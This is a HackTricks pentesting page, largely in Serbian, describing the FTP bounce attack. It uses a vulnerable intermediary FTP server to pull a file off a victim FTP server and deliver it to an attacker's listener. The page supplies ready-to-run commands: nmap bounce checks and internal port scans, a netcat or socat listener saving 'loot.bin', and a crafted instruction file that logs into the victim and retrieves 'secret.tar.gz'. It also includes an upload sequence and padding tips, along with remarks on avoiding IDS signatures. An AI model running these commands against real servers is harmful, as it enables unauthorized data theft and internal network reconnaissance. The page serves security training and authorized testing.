FTP Bounce Download 2 of FTP File
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Rezime
Ako imate pristup bounce FTP server, možete ga naterati da zatraži fajlove sa drugog FTP servera (gde znate neke kredencijale) i download taj fajl na your own server.
Zahtevi
- Važeći FTP kredencijali na FTP Middle server
- Važeći FTP kredencijali na Victim FTP server
- Oba servera prihvataju
PORTcommand (bounce FTP attack) - Možete pisati u nekom direktorijumu na FTP Middle serveru
- The middle server ima veći pristup na Victim FTP Server nego vi
Koraci
- Povežite se na your own FTP server i postavite konekciju u passive režim (
pasvcommand) tako da on sluša u direktorijumu gde će victim service poslati fajl. - Pripremite fajl koji će FTP Middle server poslati Victim serveru (the exploit script). Ovaj fajl će biti plain text sa potrebnim komandama za autentifikaciju na Victim server, promenu direktorijuma i download fajla na vaš server.
- Povežite se na FTP Middle Server i upload prethodni fajl.
- Naterajte FTP Middle server da uspostavi konekciju ka Victim serveru i pošalje exploit fajl.
- Capture fajl na vašem FTP serveru.
- Obrišite exploit fajl sa FTP Middle servera.
Brza provera za ranjive bounce hostove
- Nmap i dalje podržava FTP bounce provere. Primer za verifikaciju potencijalnog middle servera:
nmap -Pn -p21 --script ftp-bounce <middle_ftp_ip>
# or directly attempt a bounce scan
nmap -Pn -p80 -b user:pass@<middle_ftp_ip>:21 <internal_target_ip>
Ako server odbije PORT vrednosti trećih strana skeniranje će propasti; neki ugrađeni/nasleđeni štampači, NAS i appliance FTP daemoni to i dalje dozvoljavaju.
Automatizacija drugog FTP preuzimanja
Ispod je modernizovani način da se povuče fajl preko ranjivog posredničkog FTP servera.
- Otvorite pasivni listener na vašem napadačkom računaru (bilo koji TCP sink radi):
nc -lvnp 2121 > loot.bin # or run a small pyftpdlib server
-
Zabeležite svoj IP kao
A,B,C,Di portPkaop1,p2(p1 = P/256,p2 = P%256). -
Napravite fajl instrukcija koje će posrednički server ponoviti žrtvi:
cat > instrs <<'EOF'
USER <victim_user>
PASS <victim_pass>
CWD /path/inside/victim
TYPE I
PORT A,B,C,D,p1,p2
RETR secret.tar.gz
QUIT
EOF
# Add padding so the control channel stays open on picky daemons
dd if=/dev/zero bs=1024 count=60 >> instrs
- Otpremite i pokrenite sa posredničkog servera (klasični proxy FTP):
ftp -n <middle_ftp> <<'EOF'
user <middle_user> <middle_pass>
put instrs
PORT <victim_ip_with_commas>,0,21
RETR instrs
QUIT
EOF
- Preuzmite fajl sa vašeg listener-a (
loot.bin). - Obrišite otpremljeni
instrsfajl na posredničkom serveru.
Napomene:
- Padding (
dd ...) sprečava zatvaranje kontrolne konekcije pre nego što RETR završi (problem sa velikim TCP prozorom o kome se diskutuje u klasičnim writeup-ima). - Bilo koja usluga koja može listen and dump TCP može zameniti FTP PASV socket (npr.
socat -u TCP-LISTEN:2121,fork - > loot.bin). - Ako posrednički server ograničava privilegovane portove, koristite visok port u
PORTi prilagodite svoj listener u skladu s tim.
Dodatni trikovi
- Koristite bounceable FTP server za port-scan internal hosts kada je prosleđivanje fajlova blokirano:
nmap -Pn -p22,80,445 -b anonymous:<email>@<middle_ftp> <internal_ip>
- Neki moderni WAF/IDS (npr. Juniper IPS) isporučuju potpise specifično za FTP:EXPLOIT:BOUNCE-ATTACK; bučni payload-i ili nedostatak padding-a mogu ih okinuti.
- Kada posrednički server primenjuje ograničenja “PORT to same host”, postavite svoj listener na samom posredničkom serveru (ako imate write/execute) i prosledite snimljeni fajl kasnije.
Za detaljniji old-school walkthrough pogledajte: http://www.ouah.org/ftpbounce.html
References
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


